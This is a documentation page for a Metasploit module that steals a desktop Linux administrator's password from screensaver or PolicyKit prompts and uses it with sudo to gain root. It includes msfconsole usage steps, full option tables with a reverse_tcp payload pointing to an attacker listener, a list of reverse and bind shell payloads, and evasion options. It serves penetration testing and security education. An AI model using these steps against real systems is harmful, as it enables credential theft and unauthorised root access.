Desktop Linux Password Stealer and Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/desktop_privilege_escalation metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Desktop Linux Password Stealer and Privilege Escalation
Module: exploit/linux/local/desktop_privilege_escalation
Source code: modules/exploits/linux/local/desktop_privilege_escalation.rb
Disclosure date: 2014-08-07
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module steals the user password of an administrative user on a desktop Linux system when it is entered for unlocking the screen or for doing administrative actions using PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password. It exploits the design weakness that there is no trusted channel for transferring the password from the keyboard to the actual password verification against the shadow file (which is running as root since /etc/shadow is only readable to the root user). Both screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under the current user account to query for the password and then pass it to a setuid-root binary to do the password verification. Therefore, it is possible to inject a password stealer after compromising the user account. Since sudo requires only the user password (and not the root password of the system), stealing the user password of an administrative user directly allows escalating to root privileges. Please note, you have to start a handler as a background job before running this exploit since the exploit will only create a shell when the user actually enters the password (which may be hours after launching the exploit). Using exploit/multi/handler with the option ExitOnSession set to false should do the job.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/desktop_privilege_escalation
msf exploit(desktop_privilege_escalation) > show targets
... a list of targets ...
msf exploit(desktop_privilege_escalation) > set TARGET target-id
msf exploit(desktop_privilege_escalation) > show options
... show and set options ...
msf exploit(desktop_privilege_escalation) > set SESSION session-id
msf exploit(desktop_privilege_escalation) > exploit
Required Options
- SESSION: The session to run this module on.
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Msfconsole Usage
Here is how the linux/local/desktop_privilege_escalation exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/desktop_privilege_escalation
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/desktop_privilege_escalation) > show info
Name: Desktop Linux Password Stealer and Privilege Escalation
Module: exploit/linux/local/desktop_privilege_escalation
Platform: Linux
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-08-07
Provided by:
Jakob Lell
Available targets:
Id Name
-- ----
0 Linux x86
1 Linux x86_64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This module steals the user password of an administrative user on a
desktop Linux system when it is entered for unlocking the screen or
for doing administrative actions using PolicyKit. Then, it escalates
to root privileges using sudo and the stolen user password. It
exploits the design weakness that there is no trusted channel for
transferring the password from the keyboard to the actual password
verification against the shadow file (which is running as root since
/etc/shadow is only readable to the root user). Both screensavers
(xscreensaver/gnome-screensaver) and PolicyKit use a component
running under the current user account to query for the password and
then pass it to a setuid-root binary to do the password
verification. Therefore, it is possible to inject a password stealer
after compromising the user account. Since sudo requires only the
user password (and not the root password of the system), stealing
the user password of an administrative user directly allows
escalating to root privileges. Please note, you have to start a
handler as a background job before running this exploit since the
exploit will only create a shell when the user actually enters the
password (which may be hours after launching the exploit). Using
exploit/multi/handler with the option ExitOnSession set to false
should do the job.
Module Options
This is a complete list of options available in the linux/local/desktop_privilege_escalation exploit:
msf6 exploit(linux/local/desktop_privilege_escalation) > show options
Module options (exploit/linux/local/desktop_privilege_escalation):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Linux x86
Advanced Options
Here is a complete list of advanced options supported by the linux/local/desktop_privilege_escalation exploit:
msf6 exploit(linux/local/desktop_privilege_escalation) > show advanced
Module advanced options (exploit/linux/local/desktop_privilege_escalation):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory for storing temporary files on the target system
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid true no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/desktop_privilege_escalation module can exploit:
msf6 exploit(linux/local/desktop_privilege_escalation) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x86
1 Linux x86_64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/desktop_privilege_escalation exploit:
msf6 exploit(linux/local/desktop_privilege_escalation) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
17 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
18 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
19 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
20 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
21 payload/linux/x86/read_file normal No Linux Read File
22 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
26 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
28 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
32 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
33 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
34 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
35 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/desktop_privilege_escalation exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/desktop_privilege_escalation) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10783 Merged Pull Request: Make WritableDir an advanced option
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6331 Merged Pull Request: Fix #6330, generate_payload_exe returning nil for generic bind/reverse payloads
- #4640 Merged Pull Request: Various grammar, spelling, word choice fixes
- #4495 Merged Pull Request: Minor grammar fixes on modules
- #3695 Merged Pull Request: Add desktop_linux_privilege_escalation module
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See Also
Check also the following modules related to this module:
- exploit/windows/fileformat/aol_desktop_linktag
- exploit/windows/http/desktopcentral_deserialization
- exploit/windows/http/desktopcentral_file_upload
- exploit/windows/http/desktopcentral_statusupdate_upload
- exploit/windows/novell/zenworks_desktop_agent
- exploit/linux/local/docker_daemon_privilege_escalation
- exploit/linux/local/ufo_privilege_escalation
- exploit/multi/browser/firefox_pdfjs_privilege_escalation
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/scanner/http/manageengine_desktop_central_login
- post/windows/gather/credentials/redis_desktop_manager
- exploit/linux/local/docker_privileged_container_escape
Authors
- Jakob Lell
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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